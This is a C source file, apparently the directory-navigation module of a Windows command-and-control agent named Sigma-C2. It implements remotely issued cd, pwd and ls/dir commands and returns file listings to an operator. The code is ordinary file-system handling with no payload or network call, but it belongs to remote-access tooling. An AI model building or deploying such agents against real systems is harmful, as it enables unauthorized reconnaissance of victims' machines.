Files
Sigma-C2/agent/navigation.c

176 lines
5.8 KiB
C

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "config.h"
// Current working directory
char current_directory[MAX_PATH] = {0};
// Initialize the current directory
void InitializeDirectory() {
GetCurrentDirectoryA(MAX_PATH, current_directory);
}
// Normalize path with proper backslashes
void NormalizePath(char* path) {
size_t path_len = strlen(path);
// Replace forward slashes with backslashes
for (size_t i = 0; i < path_len; i++) {
if (path[i] == '/') {
path[i] = '\\';
}
}
// Remove trailing backslash if present (except for root paths like "C:\")
if (path_len > 3 && path[path_len - 1] == '\\') {
path[path_len - 1] = '\0';
}
}
// Check if directory exists
int DirectoryExists(const char* path) {
DWORD attributes = GetFileAttributesA(path);
return (attributes != INVALID_FILE_ATTRIBUTES &&
(attributes & FILE_ATTRIBUTE_DIRECTORY));
}
// Change directory function
int ChangeDirectory(const char* path) {
char target_path[MAX_PATH] = {0};
// Handle "../" - needs special handling to remove trailing "/.."
if (strcmp(path, "..") == 0 || strcmp(path, "../") == 0) {
// Copy current path to work with
strncpy(target_path, current_directory, MAX_PATH - 1);
// Find the last backslash
char* last_backslash = strrchr(target_path, '\\');
// Don't go up from drive root (e.g., C:\)
if (last_backslash > target_path + 2) {
*last_backslash = '\0'; // Remove last directory component
} else {
// Keep drive letter root (e.g., "C:\")
*(last_backslash + 1) = '\0';
}
}
// Handle absolute path
else if (strlen(path) >= 2 && path[1] == ':') {
strncpy(target_path, path, MAX_PATH - 1);
NormalizePath(target_path);
}
// Handle current directory
else if (strcmp(path, ".") == 0 || strlen(path) == 0) {
return 1; // No change needed
}
// Handle relative path
else {
size_t current_len = strlen(current_directory);
if (current_directory[current_len - 1] == '\\') {
snprintf(target_path, MAX_PATH, "%s%s", current_directory, path);
} else {
snprintf(target_path, MAX_PATH, "%s\\%s", current_directory, path);
}
NormalizePath(target_path);
}
// Check if directory exists and is accessible
if (DirectoryExists(target_path)) {
strncpy(current_directory, target_path, MAX_PATH - 1);
return SetCurrentDirectoryA(target_path);
}
return 0;
}
// List directory contents - without buffer size parameter
void ListDirectory(char result[]) {
char search_path[MAX_PATH];
WIN32_FIND_DATAA find_data;
char buffer[STANDARD_BUFF];
// Initialize result buffer as empty
result[0] = '\0';
size_t used_size = 0;
snprintf(search_path, sizeof(search_path), "%s\\*", current_directory);
HANDLE h_find = FindFirstFileA(search_path, &find_data);
if (h_find != INVALID_HANDLE_VALUE) {
// Add directory header
int header_len = snprintf(buffer, sizeof(buffer), "Directory listing for %s:\n", current_directory);
// Check if we have enough space in the result buffer
if (header_len < STANDARD_BUFF - used_size) {
strcat(result, buffer);
used_size += header_len;
} else {
strncpy(result, "Buffer too small", STANDARD_BUFF - 1);
result[STANDARD_BUFF - 1] = '\0';
FindClose(h_find);
return;
}
do {
int is_directory = (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0;
int line_len;
if (is_directory) {
line_len = snprintf(buffer, sizeof(buffer), "[DIR] %s\n", find_data.cFileName);
} else {
// Format with file size
ULONGLONG file_size = ((ULONGLONG)find_data.nFileSizeHigh << 32) + find_data.nFileSizeLow;
line_len = snprintf(buffer, sizeof(buffer), "%s (%llu bytes)\n", find_data.cFileName, file_size);
}
// Check if we have enough space for this line
if (used_size + line_len < STANDARD_BUFF) {
strcat(result, buffer);
used_size += line_len;
} else {
// Indicate truncation and break the loop
strcat(result, "\n[Directory listing truncated due to buffer size limitation]");
break;
}
} while (FindNextFileA(h_find, &find_data));
FindClose(h_find);
} else {
snprintf(result, STANDARD_BUFF, "Error accessing directory %s\n", current_directory);
}
}
// Get current directory - without buffer size parameter
void GetCurrentWorkingDir(char result[]) {
strncpy(result, current_directory, STANDARD_BUFF - 1);
result[STANDARD_BUFF - 1] = '\0';
}
// Main handler for directory commands - without buffer size parameter
void HandleDirectoryCommand(char result[], char* command, char* args) {
// Initialize directory if not done yet
if (strlen(current_directory) == 0) {
InitializeDirectory();
}
if (strcmp(command, "cd") == 0) {
if (ChangeDirectory(args)) {
snprintf(result, STANDARD_BUFF, "Changed directory to: %s", current_directory);
} else {
snprintf(result, STANDARD_BUFF, "Error: Could not change to directory: %s", args);
}
}
else if (strcmp(command, "pwd") == 0) {
GetCurrentWorkingDir(result);
}
else if (strcmp(command, "ls") == 0 || strcmp(command, "dir") == 0) {
ListDirectory(result);
}
else {
snprintf(result, STANDARD_BUFF, "Unknown directory command: %s", command);
}
}